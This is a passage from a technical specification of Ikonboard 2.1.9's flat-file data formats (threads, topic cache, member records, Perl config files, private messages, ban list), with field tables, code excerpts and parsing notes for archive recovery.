**Canonical read** -- `topic.cgi:237`, `post.cgi:623`, `search.cgi:240`, `postings.cgi:~980`.

| # | Field | Type | Meaning | Example |
|---|---|---|---|---|
| 0 | `membername` | string | Poster's display name (spaces, not underscores). Not a foreign key with referential integrity -- see section 5.2. | `Jane Doe` |
| 1 | `topictitle` | string | **Denormalized copy of the topic title on every post row.** Set from the current header when the post was made; historical rows keep the title as it was then. `topic.cgi:153` and `post.cgi:759` read the title from `@threads[0]` -- i.e. from post #1's copy. | `Best FF game ever?` |
| 2 | `postipaddress` | string | `$ENV{'REMOTE_ADDR'}` at post time (`post.cgi:69`). Literal `Moderation Mode` for auto-generated move stubs (`postings.cgi:339`). Shown to mods by `viewip.cgi`. | `203.0.113.9` |
| 3 | `showemoticons` | enum | `yes` \| `no` -- per-post emoticon toggle (`topic.cgi:273`) | `yes` |
| 4 | `showsignature` | enum | `yes` \| `no` -- append the poster's signature (`topic.cgi:285`) | `yes` |
| 5 | `postdate` | epoch | Post timestamp | `991239999` |
| 6 | `post` | string | **The message body.** Already HTML-escaped and newline-converted by `cleaninput`. Contains `<br>` / `<p>`, `&lt;`, `&gt;`, `&quot;`, `&amp;`, `&#0124;`, `&nbsp;`, and raw IkonCode tags (`[b]`, `[quote]`, `[url]`, `[img]`, `[code]`, `[color]`, `[size]`, `[list]`, `[*]`, `[hr]`, `[email]`, `[br]`). **Last field.** | `I liked <b>FF6</b>.[br]Fight me.` |

#### 5.1 Line terminators -- the ragged-tail rule

The append path writes existing lines with `\n` and the **new** line without one:

```perl
foreach $messages (@allmessages) { chomp $messages; $processed_data .= "$messages\n"; }
$processed_data .= "$inmembername|$topictitle|$postipaddress|$inshowemoticons|$inshowsignature|$currenttime|$inpost";
```
-- `post.cgi:790-794`

So a normal `.thd` has **no trailing newline on the last line**. But:
* after a post **edit** (`postings.cgi:1277` writes `...|$inpost\n`) the edited line -- possibly
  the last -- gains a newline;
* after a post **delete** (`postings.cgi:952`) every surviving line gets a newline.

A parser must therefore accept both, and must not treat a missing final newline as truncation.

#### 5.2 Deleted authors

`membername` is not enforced. If the member file no longer exists, `topic.cgi:244` and
`profile.cgi:237` call `ikon.lib sub set_up_guest` (`ikon.lib:1100-1124`), which substitutes a
synthetic profile: name `Deleted Member`, title `Deleted`, post count `N/A`, note
*"This Member has been removed by the board Admin"*. **Nothing is written back to the `.thd`** --
the original author name survives in the post row forever. Good news for recovery: deleted
members' authorship is still readable in `.thd` files even though `members/<name>.cgi` is gone.

#### 5.3 Moderation-mode posts

A post whose body begins with `#Moderation Mode` is rendered with HTML un-escaped for
moderators/admins only (`topic.cgi:254-256`). Generated automatically when a topic is moved
(`postings.cgi:323`) -- the stub post body is
`#Moderation Mode<p>...<p><a href="...">Moved here</a>` and its `postipaddress` field is the
literal string `Moderation Mode`.

#### 5.4 Edit markers

A non-admin edit appends a visible marker to the body (`postings.cgi:1271-1273`):
`<p>(Edited by <name> at <date>)`. Admin edits leave no marker. `topic.cgi:366` re-styles the
marker at render time. There is no separate "edited" field.

**Example `.thd` (2 posts, no trailing newline):**

```
Jane Doe|Best FF game ever?|203.0.113.9|yes|yes|991234000|FF6. Obviously.
Bob|Best FF game ever?|198.51.100.4|yes|no|991239999|Wrong. [b]FF7[/b].<p>(Edited by Bob at 3:14 pm on June 5, 2001)
```

---

### 5.6 `forum<N>/list.cgi` -- the denormalized sort cache

**What it is:** a cache of every topic's `.pl` line in the forum, **pre-sorted newest-first**, so
the forum index can be rendered by reading a single file instead of stat-ing hundreds.

**Field layout is identical to `.pl`** (section 5.4): the same 10 fields in the same order, one topic per
line, each line terminated with `\n`.

**Rebuilt by:** `ikon.lib sub rebuildLIST` (`ikon.lib:1025-1069`), called after new topic
(`post.cgi:459`), prune (`forumoptions.cgi:136`), recount (`setforums.cgi:245`), thread delete,
and move.
**Incrementally patched by:** `topic.cgi:96-114` (view counter -- rewrites the whole file on every
topic view!), `postings.cgi:996-1013` (post delete), and the reply path indirectly.

#### 6.1 The string-sorted-timestamp trap **

```perl
foreach (@entry) {                                   # @entry = *.pl in the forum dir
    ($id, $tr) = split(/\./,$_);
    ...
    ($topicid, $topictitle, ... , $lastpostdate) = split (/\|/,<TMP>);   # first line only
    if ($lastpostdate < 1000000000) { $lastpostdate = "0" . $lastpostdate; }   # <- ikon.lib:1046
    $rr = "$lastpostdate|$topicid|$topictitle|...|$lastposter";
    push (@dat, $rr);
}
@sortdat = sort(@dat);          # <- ikon.lib:1051  PLAIN STRING SORT
@sortdat = reverse(@sortdat);
```
-- `ikon.lib:1039-1052`

`sort` with no comparator is **lexicographic**, not numeric. The rows are sorted as strings whose
prefix is the epoch timestamp. That only produces correct chronological order if every timestamp
has the **same number of digits**.

Unix time crossed **1,000,000,000 on 2001-09-09** -- it went from 9 digits to 10. Before the patch,
a board with posts from both sides of that boundary sorted its forum index catastrophically
wrong: every 9-digit (pre-Sep-2001) timestamp string-sorts *after* every 10-digit one, so old
topics floated to the top.

Line 1046 is the fix: zero-pad any 9-digit timestamp to 10 characters. **This line is a local
patch, not stock 2.1.9.** Diffing `ikon.lib` (dated **Sep 8 2001**) against the shipped
`ikon.lib.bak` (Jun 3 2001) shows exactly three additions, of which the pad is the first:

```
1045a1046
> 	if ($lastpostdate < 1000000000) { $lastpostdate = "0" . $lastpostdate; }
1051a1053
>         $checkdat = @sortdat;
1057c1059
< if (($processed_data eq "") || ($processed_data !~ m!\|!)) { &error(...); }
---
> if ((($processed_data eq "") || ($processed_data !~ m!\|!)) && ($checkdat != 0)) { &error(...); }
```

(The other two additions stop `rebuildLIST` from throwing "Data corrupted on the server" when a
forum legitimately has zero topics.)

**Parser implications:**
* Never trust `list.cgi` ordering. Re-sort numerically on field 9.
* If a `list.cgi` is ordered "wrong", that is *evidence* the board ran unpatched stock 2.1.9
  across September 2001 -- useful for dating an archive.
* The pad is applied only in the sort key and is stripped before writing (the value written is
  the one re-split out of the sort key, so a padded `0991234567` **can** be written back into
  `list.cgi` field 9 -- accept a leading zero on that field).
* The scheme breaks again when epoch reaches 11 digits (2286-11-20).

#### 6.2 Integrity guard

Every rewrite of `list.cgi` (and of `allforums.cgi`) is preceded by:

```perl
if (($processed_data eq "") || ($processed_data !~ m!\|!)) {
    &error("Missing Data&Data as corrupted on the server. Please go back and try again"); }
```
-- e.g. `topic.cgi:108`, `post.cgi:396`, `postings.cgi:1003`, `setforums.cgi:238`

This is the 2.1.9 "disappearing threads" mitigation: refuse to write an empty or pipe-less
buffer over a good file.

#### 6.3 `list.bak`

Read by `checkboard.cgi:99-115` to restore a zeroed `list.cgi`. **Never written by any 2.1.9
script.** Present only via manual FTP backup or an older release.

#### 6.4 Reconstructing `list.cgi` from scratch

If `list.cgi` is missing or corrupt, it is 100% derivable: read every `forum<N>/*.pl`, take its
single line, sort numerically descending by field 9, join with `\n`. That is precisely what
`rebuildLIST` does. **`list.cgi` contains no unique information.**

---

### 5.7 `forum<N>/<id>.mal` -- email notification subscribers

**Created by:** runtime, only when `$emailfunctions eq "on"` and the poster ticked "notify" --
`post.cgi:424-429` (topic start), `post.cgi:879-888` (reply).
**Deleted with the topic** -- `forumoptions.cgi:125-126`, `postings.cgi:~616`.

**Structure:** line-oriented, 2 pipe-separated fields, newest subscriber first, `\n`-terminated.

| # | Field | Type | Meaning |
|---|---|---|---|
| 0 | `postersname` | string | Member name |
| 1 | `posteremailaddress` | string | Email address, copied from member field 5 at subscribe time |

Read at `post.cgi:873-876`, iterated at `post.cgi:892-899`. **Duplicates are never deduplicated**
-- the subscribe path unconditionally prepends a line every time a member replies with "notify"
ticked (`post.cgi:880-887`), so a chatty topic accumulates many identical rows. The send loop
only skips the current poster and repeats of the immediately preceding name
(`$lastemailsent ne $postersname`), so duplicates do generate duplicate mail.

Note field 1 may contain a backslash-escaped `@` (`\@`) because `install.cgi:25` /
`setvariables.cgi:55` escape `@` before serialization; `post.cgi:907` strips `\` before use.

**Example:**

```
Bob|bob\@example.com
Jane Doe|jane\@example.org
```

---

### 5.8 `members/<name>.cgi` -- the member record

**Path:** `members/<MangledName>.cgi` -- see section 2.3. One member per file.
**Created by:** `install.cgi:355-359` (the founding admin) and `register.cgi:229-234`.
**Rewritten by:** every post the member makes (`post.cgi:368-373`, `:814-819` -- to bump
`numberofposts` and `lastpostdate`), profile save (`profile.cgi:545-549`), admin edit
(`setmembers.cgi:403-406`), unban (`setmembers.cgi:641-644`).
**Deleted by:** `setmembers.cgi:578-580` (`unlink`).

**Structure:** a **single line**, no trailing newline, **22** pipe-separated fields.
`getmember` reads only the first line and `chomp`s it (`ikon.lib:378-383`).

**Canonical read** -- `ikon.lib:383` (`sub getmember`).
**Canonical write** -- `post.cgi:372`, `register.cgi:233`, `profile.cgi:548`, `setmembers.cgi:405`.

| # | Field | Type | Meaning / domain | Example |
|---|---|---|---|---|
| 0 | `membername` | string | Display name. **May contain underscores instead of spaces -- see section 8.1.** | `Jane Doe` |
| 1 | `password` | string | **PLAINTEXT.** Never hashed anywhere in 2.1.9. Compared with `eq` (`post.cgi:289`, `admincenter.cgi:87`, ...). `crypt()` appears only as an RNG for generating *new* random passwords (`register.cgi:126-132`, `profile.cgi:503-508`). | `hunter2` |
| 2 | `membertitle` | string | Custom title. Special values: `Administrator` (set by installer), `Member` (default from `register.cgi:95`), `BANNED` (forced at display time). If it equals `member`/`Member`, the display substitutes the post-count rank from `membertitles.cgi` (`topic.cgi:362`). | `Member` |
| 3 | `membercode` | enum | **Access level. Exactly four values:** `ad` = administrator, `mo` = moderator, `me` = member, `banned` = banned. (`setmembers.cgi:458` is the authoritative dropdown; `""` also occurs -- `set_up_guest` at `ikon.lib:1102`.) | `me` |
| 4 | `numberofposts` | int | Lifetime post count; `++` on each post. May be edited freely by an admin (`setmembers.cgi:343`). Set to `N/A` (a string!) for deleted members. | `137` |
| 5 | `emailaddress` | string | Email; `@` may be backslash-escaped as `\@`. | `jane\@example.org` |
| 6 | `showemail` | enum | `yes` \| `no`. If not `yes`, profile shows `Private` (`profile.cgi:217`). Defaults to *off* as of 2.1.9. | `no` |
| 7 | `ipaddress` | string | `REMOTE_ADDR` **captured once at registration** (`register.cgi:99`) and never updated. The installer writes the literal string `private` here for the founding admin (`install.cgi:358`). | `203.0.113.9` |
| 8 | `homepage` | string | URL; `http://` is stripped at display (`topic.cgi:333`) | `www.example.com` |
| 9 | `aolname` | string | AOL Instant Messenger screen name | `janedoe99` |
| 10 | `icqnumber` | string | ICQ UIN; only rendered if it contains a digit (`topic.cgi:339`) | `1234567` |
| 11 | `location` | string | Free text | `London, UK` |
| 12 | `interests` | string | Free text; newlines already converted to `<br>`/`<p>` (`register.cgi:139-145`) | `Games<br>Cats` |
| 13 | `joineddate` | epoch | Registration timestamp | `991200000` |
| 14 | `lastpostdate` | **compound** | **Three sub-fields joined by `%%%`:** `<epoch>%%%<relative-url>%%%<topictitle>`. Literal `Not Posted` for a member who has never posted (`register.cgi:97`). Never written for a post in a private forum (`post.cgi:365`, `:811` are conditional on `$privateforum ne "yes"`), so the value can be stale. | `991239999%%%topic.cgi?forum=4&topic=128%%%Best FF game ever?` |
| 15 | `signature` | string | Up to 3 lines. Line breaks stored as the literal token **`[br]`**, not `<br>` (`register.cgi:150-155`, `profile.cgi:459-464`). Enforced max 3 lines (`register.cgi:184`). Supports `[b] [i] [url] [email] [br]` only (`topic.cgi:286-297`). | `-- Jane[br][i]FF6 4 life[/i]` |
| 16 | `timedifference` | int (hours) | Per-member display offset, added as `*3600` to every rendered timestamp. Read separately by `sub getmemberstime` (`ikon.lib:397-407`). Free-text input, so may be blank or non-numeric. | `-5` |
| 17 | `privateforums` | **compound** | Grants to private forums. `&`-separated list of `<forumid>=<value>` pairs, **with a trailing `&`**. Parsed at `ikon.lib:385-392` into `%allowedentry`; the only value written is `yes` (`setmembers.cgi:376`). Checked as `$allowedentry{$inforum} eq "yes"` (`post.cgi:299`, `topic.cgi:68`). | `3=yes&7=yes&` |
| 18 | `useravatar` | string | Avatar **basename without `.gif`**, resolved to `$imagesurl/avatars/<useravatar>.gif` (`topic.cgi:309-311`). `noavatar` or empty = none. Avatars whose filename starts with `admin_` are reserved: `profile.cgi:314` hides them from `me`-level members. | `Batman` |
| 19 | `misc1` | -- | **Unused reserved field.** Read and written back verbatim by every writer; no script ever assigns a value (only `ikon.lib:1121` blanks it). Always empty on real boards. | (empty) |
| 20 | `misc2` | -- | Unused reserved field | (empty) |
| 21 | `misc3` | -- | Unused reserved field. **Last field -- no trailing newline.** | (empty) |

#### 8.1 * Field 0 is not canonical

`register.cgi:198` mangles the name **before** writing the record:

```perl
$inmembername =~ y/ /_/;      # register.cgi:198
...
print FILE "$inmembername|$password|...";   # register.cgi:233   <- underscored!
...
$inmembername =~ y/_/ /;      # register.cgi:236  (only affects the page + cookie)
```

So at registration, field 0 holds the **underscored** form. Every subsequent write --
first post (`post.cgi:372`), profile save (`profile.cgi:548`) -- uses the cookie value, which has
**spaces**. Consequence: a member who registered and never posted or edited their profile has
underscores in field 0; everybody else has spaces.

`setmembers.cgi:405` writes `$membername` (whatever `getmember` loaded), preserving whichever
form was there.

**A parser should normalize `_` -> ` ` in field 0, or better, derive the canonical name from the
filename stem.**

#### 8.2 The installer-created admin record is short

`install.cgi:358` writes only **16** fields:

```perl
print ADMIN "$membername|$password_one|Administrator|ad|0|$adminemail_in|no|private||||||$currenttime||";
```

Mapping: `membername | password | Administrator | ad | 0 | <admin email> | no | private |
"" | "" | "" | "" | "" | <joineddate epoch> | "" | ""` -- i.e. fields 16-21 are **absent
entirely**, and field 7 (`ipaddress`) is the literal string `private`. Perl's `split` simply
returns fewer elements and the remaining variables are `undef`. The record is normalized to 22
fields the first time the admin posts or saves their profile.

**Parsers must accept short records** and treat missing trailing fields as empty.

#### 8.3 Rank ladder

`membertitle` is only a *stored* title. The displayed rank for ordinary members comes from
`data/membertitles.cgi` (section 9.4) evaluated against field 4 at render time (`topic.cgi:302-307`):

```perl
if    ($numberofposts > $mpostmark5) { $mtitle = $mtitle5; $membergraphic = $mgraphic5; }
elsif ($numberofposts > $mpostmark4) { ... }
elsif ($numberofposts > $mpostmark3) { ... }
elsif ($numberofposts > $mpostmark2) { ... }
else                                 { $mtitle = $mtitle1; $membergraphic = $mgraphic1; }
```

Note the ladder only has 5 rungs and `$mpostmark1` is never compared -- the "Newbie" bucket is the
fallthrough.

**Example member record (full 22 fields):**

```
Jane Doe|hunter2|Member|me|137|jane\@example.org|no|203.0.113.9|www.example.com|janedoe99|1234567|London, UK|Games<br>Cats|991200000|991239999%%%topic.cgi?forum=4&topic=128%%%Best FF game ever?|-- Jane[br][i]FF6 4 life[/i]|-5|3=yes&7=yes&|Batman|||
```

---

### 5.9 Perl-fragment "data" files (executable!)

**This is the single most important structural distinction in the format.**

Five files with `.cgi` / `.dat` names in `data/` are **not parsed** -- they are `require`d, i.e.
executed as Perl source, and their side effect is to set package globals. Every board script
opens with a block like (`topic.cgi:21-28`):

```perl
eval {
  ($0 =~ m,(.*)/[^/]+,)   && unshift (@INC, "$1");
  ($0 =~ m,(.*)\\[^\\]+,) && unshift (@INC, "$1");
  require "ikon.lib";
  require "data/progs.cgi";
  require "data/boardinfo.cgi";
  require "data/styles.cgi";
  require "data/membertitles.cgi";
};
```

Because they are `require`d, each **must end with a true value** -- every one of them ends with
the line `1;`. A file missing its `1;` makes `require` die and takes the whole board down.

The generic write pattern (`install.cgi:23-30`, `setvariables.cgi:50-62`, `setstyles.cgi:~50`,
`setmembertitles.cgi:~50`) is: iterate the submitted CGI parameters, and for each emit one line

```
$<paramname> = "<value>";
```

with `@` backslash-escaped and the value pre-run through `unHTML` (so `"` is already `&quot;`
and can never break the quoting), then append `1;`.

**Therefore the field order in these files is the CGI parameter submission order, not a fixed
schema.** Parse them with a regex over `^\$(\w+)\s*=\s*"(.*)";` -- never positionally.

#### 9.1 `data/boardinfo.cgi` -- the master configuration

**Created by:** `install.cgi:48-58` (step two of the installer).
**Rewritten wholesale by:** `setvariables.cgi:81-87` (Admin -> Variables set-up).

The installer serializes every field of its step-one form, then appends four font sizes and `1;`:

```perl
print FILE "$printme";                       # all form params, one "$k = "v";" per line
print FILE "\$dfontsize1 = \"1\"\;\n";
print FILE "\$dfontsize2 = \"2\"\;\n";
print FILE "\$dfontsize3 = \"3\"\;\n";
print FILE "\$dfontsize4 = \"4\"\;\n";
print FILE $endprint;                        # "1;\n"
```
-- `install.cgi:52-57`

Keys and their domains (from `install.cgi:441-734` and `setvariables.cgi:134-418`):

| Key | Domain | Meaning |
|---|---|---|
| `OS_USED` | `NT` \| `Unix` | Host OS (informational) |
| `ikondir` | path, trailing `/` | CGI root |
| `imagesdir` | path, trailing `/` | images root (contains `images/`, `emoticons/`, `avatars/`) |
| `imagesurl` | URL, no trailing `/` | images root URL |
| `homeurl` | URL | "back to site" link |
| `boardurl` | URL, no trailing `/` | board URL |
| `homename` | string | site name |
| `boardname` | string | board name |
| `boarddescription` | string | board tagline |
| `copyrightinfo` | string | footer copyright text |
| `avatars` | `on` \| `off` | avatar feature |
| `emoticons` | `on` \| `off` | emoticon feature |
| `emailfunctions` | `on` \| `off` | master mail switch |
| `emailtype` | `smtp_mail` \| `send_mail` \| `blat_mail` | mail transport (`ikonmail.lib:22-25`) |
| `SMTP_SERVER` | hostname | SMTP host |
| `SEND_MAIL` | path | sendmail binary |
| `adminemail_in` | address | contact address (interpolated into `privacy.dat`) |
| `adminemail_out` | address | envelope-from for board mail |
| `passwordverification` | `yes` \| `no` | mail a generated password instead of accepting user's |
| `newusernotify` | `yes` \| `no` | mail admin on registration (added by `setvariables.cgi:298`) |
| `membernamefilter` | `yes` \| `no` | apply badword filter to names + signatures |
| `floodcontrol` | `on` \| `off` | post rate limit |
| `floodcontrollimit` | int seconds | rate limit window (`post.cgi:265-272`) |
| `timezone` | int -23..+23 | board-wide hour offset |
| `basetimes` | string | timezone label, e.g. `GMT (UK)` |
| `announcements` | `yes` \| `no` | show announcements block |
| `maintenancemode` | `y` \| `n` | if `y`, `ikon.lib:879` replaces all page content with a maintenance notice |
| `dfontsize1`..`4` | int | HTML `<font size=>` values |

Note `action` is deliberately excluded from serialization (`install.cgi:27`,
`setvariables.cgi:58`) -- otherwise the file would carry a stale form action.

**Example:**

```perl
$OS_USED = "Unix";
$ikondir = "/home/site/cgi-bin/ikonboard/";
$imagesdir = "/home/site/public_html/ikonboard/";
$imagesurl = "http://example.com/ikonboard";
$boardurl = "http://example.com/cgi-bin/ikonboard";
$boardname = "My Ikonboard";
$emailfunctions = "on";
$emailtype = "smtp_mail";
$adminemail_out = "outgoing\@example.com";
$timezone = "0";
$floodcontrol = "on";
$floodcontrollimit = "30";
$dfontsize1 = "1";
$dfontsize2 = "2";
$dfontsize3 = "3";
$dfontsize4 = "4";
1;
```

#### 9.2 `data/boardstats.cgi` -- four counters

**Created by:** `install.cgi:376-387`. **Rewritten by:** registration (`register.cgi:289-297`),
new topic (`post.cgi:405-417`), new reply (`post.cgi:852-864`), prune
(`forumoptions.cgi:169-181`), delete forum (`setforums.cgi:585-596`), delete member/thread/post
(`setmembers.cgi:~550`, `postings.cgi:~673`, `postings.cgi:~1062`).

Fixed 4-key layout, always in this order, always terminated by a blank line then `1;`:

```perl
$lastregisteredmember = "Jane Doe";
$totalmembers = "42";
$totalthreads = "137";
$totalposts = "1908";

1;
```

`$totalthreads` counts topics; `$totalposts` counts replies. Both are maintained by
increment/decrement, never recomputed, so they drift. Displayed at `ikonboard.cgi:107`.

#### 9.3 `data/progs.cgi` -- script filename map (SHIPPED, verbatim)

Maps logical roles to script filenames so an installer could rename scripts. Not written by any
script; edit by hand. Full shipped content:

```perl
$forumsummaryprog = "ikonboard.cgi";
$forumsprog = "forums.cgi";
$threadprog = "topic.cgi";
$postprog = "post.cgi";
$registerprog = "register.cgi";
$profileprog = "profile.cgi";
$postingsprog = "postings.cgi";
$announceprog = "announcements.cgi";
$onlineprog = "whosonline.cgi";
$lostpasswordprog = "profile.cgi?action=lostpassword";
$loginprog = "loginout.cgi";
$viewipprog = "viewip.cgi";
$searchprog = "search.cgi";
$ikonfriendprog = "ikonfriend.cgi";
$helpprog = "help.cgi";
$printpageprog = "printpage.cgi";
$miscprog = "misc.cgi";
$adminprog = "admincenter.cgi";
$stylesprog = "setstyles.cgi";
$varsprog = "setvariables.cgi";
$membertitlesprog = "setmembertitles.cgi";
$setforumsprog = "setforums.cgi";
$setmembersprog = "setmembers.cgi";
$messengerprog = "messenger.cgi";
$newpostsprog = "newposts.cgi";
$forumoptionsprog = "forumoptions.cgi";

1;
```

Note `$lastpostdate` sub-field 1 in the member record (section 5.8, field 14) stores
`"$threadprog?forum=..&topic=.."` -- i.e. it **bakes `topic.cgi` into stored data**
(`post.cgi:365`). If an operator renamed `topic.cgi`, historical member records point at the old
name.

#### 9.4 `data/membertitles.cgi` -- rank ladder (SHIPPED)

**Rewritten by:** `setmembertitles.cgi:78-84`. Full shipped content:

```perl
$mpostmark1 = "25";
$mtitle1 = "Newbie";
$mgraphic1 = "pips1.gif";
$mpostmark2 = "50";
$mtitle2 = "Junior Member";
$mgraphic2 = "pips2.gif";
$mpostmark3 = "100";
$mtitle3 = "Member";
$mgraphic3 = "pips3.gif";
$mpostmark4 = "150";
$mtitle4 = "Full Member";
$mgraphic4 = "pips4.gif";
$mpostmark5 = "250";
$mtitle5 = "Advanced Member";
$mgraphic5 = "pips5.gif";
$admingraphic = "pips6.gif";
$submit = "";
1;
```

* `$submit = "";` is a **serialization artifact** -- the admin form's submit button name got
serialized along with the real fields. Its presence in a recovered file is a fingerprint that the
file was saved through `setmembertitles.cgi` rather than shipped untouched. (This one *is* in
the shipped copy, meaning even the distributed file was generated through the admin UI.)

`$admingraphic` is the rank pip shown for `membercode eq "ad"` (`topic.cgi:346`).

#### 9.5 `data/styles.cgi` -- colors, fonts, page geometry (SHIPPED)

**Rewritten by:** `setstyles.cgi:79-84`. Full shipped content:

```perl
$titleback = "#EEEEEE";
$titlefont = "#555555";
$titleborder = "#333333";
$menufontcolor = "#333333";
$menubackground = "#DDDDDD";
$font = "verdana";
$lastpostfontcolor = "#000000";
$fonthighlight = "#990000";
$posternamefont = "verdana";
$posternamecolor = "#000066";
$adminnamecolor = "#990000";
$teamnamecolor = "#0000ff";
$fontcolormisc = "#333333";
$miscbackone = "#FFFFFF";
$miscbacktwo = "#EEEEEE";
$catback = "#dddddd";
$catfontcolor = "#333333";
$tablebordercolor = "#999999";
$tablewidth = "700";
$titlecolor = "#999999";
$titlefontcolor = "#333333";
$forumcolorone = "#EEEEEE";
$forumcolortwo = "#FFFFFF";
$forumfontcolor = "#333333";
$postcolorone = "#EEEEEE";
$postcolortwo = "#FFFFFF";
$postfontcolorone = "#333333";
$postfontcolortwo = "#555555";
$maxthreads = "10";
$hottopicmark = "15";
$boardlogo = "logo.gif";
1;
```

Three of these are **not** styling and matter to a parser:
* `$maxthreads` -- page size (posts per page in `topic.cgi:156`, topics per page in `forums.cgi`).
* `$hottopicmark` -- reply threshold above which a topic gets the "hot" folder icon.
* `$boardlogo` -- fallback forum graphic filename.

#### 9.6 `data/template.dat` -- the page skeleton (SHIPPED, raw HTML)

Not Perl. A raw HTML document containing one magic token, **`$ikonboard_main`**, plus
`$page_title`. `ikon.lib sub output` (`ikon.lib:834-889`) reads it line by line and substitutes:

```perl
$line =~ s/\$page_title/$title/sg;
$line =~ s/\$ikonboard_main/$output\n\n$copyright\n/sg;     # or the maintenance notice
```

**Rewritten by:** `settemplate.cgi:202-206`. That editor splits the file on the literal marker
`<!--end Java-->` -- everything before it is treated as non-editable header, everything after is
the user-editable region -- and reassembles as `header + "<!--end Java-->\n" + body`. So a
`template.dat` recovered from a live board is guaranteed to contain exactly one `<!--end Java-->`
line at the seam.

Shipped `template.dat` (abridged) -- the two JS helpers are load-bearing for the UI:

```html
<html>
  <head>
    <title>$page_title</title>
<script type="text/javascript">
function openScript(url, width, height) {
        var Win = window.open(url,"openScript",'width=' + width + ',height=' + height + ',resizable=1,scrollbars=yes,menubar=yes,status=yes' );
}
</script>
<script type="text/javascript">
clckcnt = 0;
function clckcntr() { ... }        /* double-submit guard */
</script>
<!--end Java-->
<style type="text/css"> ... </style>
</head>
<body bgcolor="#ffffff" ...>
$ikonboard_main
</body>
</html>
```

#### 9.7 `data/privacy.dat` and `data/register.dat` -- raw HTML fragments (SHIPPED)

Neither is Perl and neither is ever written by a script -- edit by FTP.

* `privacy.dat` -- slurped and emitted by `privacy.cgi:71-89`. One post-processing rule:
  `privacy.cgi:91` does `$output =~ s/\$adminemail_in/$adminemail_in/sg`, so the literal text
  `$adminemail_in` inside the file is a **substitution token**. The shipped file uses it twice.
  Excerpt (documents the on-disk model from the user's side -- note it names the exact cookies):

  > Membership: This is so the board can 'remember' your username when using the bulletin board.
  > This cookie is called 'amembernamecookie'. ...
  > Last Visit Data: So that you can be made aware of any new posts since your last visit, two
  > cookies are stored. One called 'templastvisit', the other 'lastvisit'.

* `register.dat` -- the registration terms, emitted by `register.cgi:494-497`. No substitution.
  Excerpt:

  > Considering the real-time nature of this bulletin board, it is impossible for us to review
  > messages or confirm the validity of information posted. ...

---

### 5.10 `messages/` -- the private message store

There is no central PM table. Each member owns **two append-at-top mailbox files**:

| Path | Role |
|---|---|
| `messages/<MangledName>_msg.cgi` | **Inbox** |
| `messages/<MangledName>_out.cgi` | **Outbox** (sender's own copy) |

A single send therefore writes **two independent copies** of the message body -- one to the
recipient's inbox, one to the sender's outbox (`messenger.cgi:411-447`). Deleting one does not
affect the other. For recovery this is a gift: a PM survives if *either* party's file survives.

**Structure:** line-oriented, 5 pipe-separated fields, `\n`-terminated, **newest first**
(new messages are prepended, `messenger.cgi:421` / `:441`).

| # | Field | Type | Meaning (inbox) | Meaning (outbox) |
|---|---|---|---|---|
| 0 | `from` / `to` | string | Sender's member name | **Recipient's** member name |
| 1 | `readstate` | enum | `no` (unread) \| `yes` (read) | always `yes` |
| 2 | `date` | epoch | Send time | Send time |
| 3 | `messagetitle` | string | Subject, `maxlength=80` on the form | same |
| 4 | `message` | string | Body, `cleaninput`-escaped. **Last field.** | same |

**Read** -- `messenger.cgi:209` (list), `:319` (outbox read), `:645` (inbox read).
**Write** -- `:421` (deliver to inbox), `:441` (copy to outbox), `:655` (mark read),
`:758` (delete one), `:256-262` (`unlink` the whole mailbox for "delete all").

**Message identity is positional.** The URL is `messenger.cgi?action=read&msg=<N>` where `N` is
the **0-based line index** into the mailbox file (`messenger.cgi:642-645`,
`$msgtograb = @inboxmessages[$inmsg]`). There is no message id. Delete any message and every
later message's "id" shifts. This is why the format has no dangling references -- nothing
references a PM.

**Unread badge.** `ikon.lib sub title` (`ikon.lib:179-199`) opens the inbox on **every page load**
and counts lines whose field 1 is `no`.

**Mark-as-read quirk.** `messenger.cgi:655` writes the modified line as
`print FILE "$from|yes|$date|$messagetitle|$post";` with no `"\n"`. This is correct only because
`$post` was split from the *unchomped* array element and still carries its trailing newline. If
the source line was the file's last and lacked a newline, the following lines would run together.
In practice all mailbox lines are `\n`-terminated (`:424`, `:444`, `:658`), so it holds.

**Example inbox file:**

```
Bob|no|991240500|Re: your avatar|Where'd you get it? <br>Looks great.
Jane Doe|yes|991239000|Welcome|Hi and welcome to the board!
```

---

### 5.11 Remaining `data/` files

#### 11.1 `data/news.cgi` -- announcements

**Created/written by:** admin only, via `announcements.cgi` -- add at `:229-238`, delete at
`:117-138`, edit rewrites the same way.
**Read by:** `announcements.cgi:258-270`, and `ikonboard.cgi:146-153` which shows only line 0.

Line-oriented, **3** pipe fields, newest first, `\n`-terminated:

| # | Field | Type | Meaning |
|---|---|---|---|
| 0 | `announcementtitle` | string | Headline, `maxlength=100` |
| 1 | `dateposted` | epoch | Post time |
| 2 | `announcementpost` | string | Body, `cleaninput`-escaped, IkonCode + emoticons rendered at display |

Identity is again **positional** -- `announcements.cgi?action=delete&number=<N>` is a 0-based line
index (`announcements.cgi:130-134`).

```
Server maintenance Saturday|991300000|We'll be down 0200-0400 UTC.<p>Sorry!
Welcome to the board|991000000|Read the rules before posting.
```

#### 11.2 `data/banlist.cgi` -- the ban filter

**Written by:** `setmembers.cgi:391-395` (append on ban), `setmembers.cgi:625-641` (rewrite on
unban).
**Read by:** `register.cgi:104-120` -- checked against every registration attempt.

3 pipe fields:

| # | Field | Meaning |
|---|---|---|
| 0 | `bannedname` | Member name (may be underscored; unban compares after `s/_/ /g`) |
| 1 | `bannedemail` | Email -- matched as a **prefix regex**: `if ($emailaddress =~ /^$bannedemail/)` |
| 2 | `bannedip` | IP -- also a prefix regex: `if ($ipaddress =~ /^$bannedip/)` -- so `203.0.113.` bans a /24 |

*** Corruption bug.** The append path (`setmembers.cgi:394`) is
`print FILE "$inmember|$inemailaddress|$ipaddress";` -- **no trailing `\n`**. Banning two members
in sequence concatenates them onto one physical line:

```
Spammer|spam@bad.example|203.0.113.5Troll|troll@bad.example|198.51.100.9
```

Field 2 of the first record then contains `203.0.113.5Troll`. The unban path
(`setmembers.cgi:634-639`) *does* write `"$_\n"`, so a single unban silently re-lineates
whatever was already glued together -- but only into the same bad split. Expect malformed
`banlist.cgi` on any board that banned more than one person. A recovery parser should split on
`\n` and then heuristically re-split runs like `<ip-ish><Name>|`.

Also note: `$ipaddress` at `setmembers.cgi:394` is whatever `getmember` last loaded -- i.e. the
banned member's **registration** IP (field 7), not a current one.

#### 11.3 `data/badwords.cgi` -- word substitution map

**Written by:** `setbadwords.cgi:74-77`. **Read by:** `post.cgi:323-336`, `post.cgi:763-776`,
`register.cgi:161-181`, `profile.cgi:441-457`, `postings.cgi:1259-1270`.

**Single line, no newlines.** Format: `&`-separated pairs, each pair `bad=good`:

```
